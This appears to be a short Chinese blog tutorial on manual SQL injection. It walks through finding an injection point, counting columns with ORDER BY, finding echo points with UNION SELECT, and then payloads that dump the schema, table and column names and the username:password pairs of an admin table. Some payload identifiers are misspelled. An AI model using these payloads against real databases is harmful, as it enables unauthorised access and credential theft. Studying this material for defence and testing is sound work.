SQL注入原理总结

什么是SQL注入

就是攻击者通过不同的SQL语句来实现对数据库的操作

怎么找SQL注入漏洞

找与数据库产生交互的地方

SQL手注的流程

(1)     判断注入点     

参数用户可控

构造的参数带入数据库查询

(2)     判断字段数

用order by 来查询字段数  

(3)     判断回显点

扫描二维码关注公众号,回复: 7703990 查看本文章

Union select 来判断回显点

(4)     查询相关内容

查询数据库版本

Union select 1,concat(version(),’:’,database())

Union select 1,(select group_concat(schema_name)from information_schema.schemata)

查询当前库的所有数据表名

Union select 1,(select group_concat(table_name)from information_schema.tables where table_scherma=’****’)

查询当前库的指定数据表内的字段名

Union select 1, (select group_concat(column_name)from information_schema.colums where table_schema=’***’ and table_name=‘admin’)

查询当前库的指定数据表内指定字段的内容

Union select 1,(select group_concat(username,’:’,password)from admin)

猜你喜欢

转载自www.cnblogs.com/ghb1996/p/11774678.html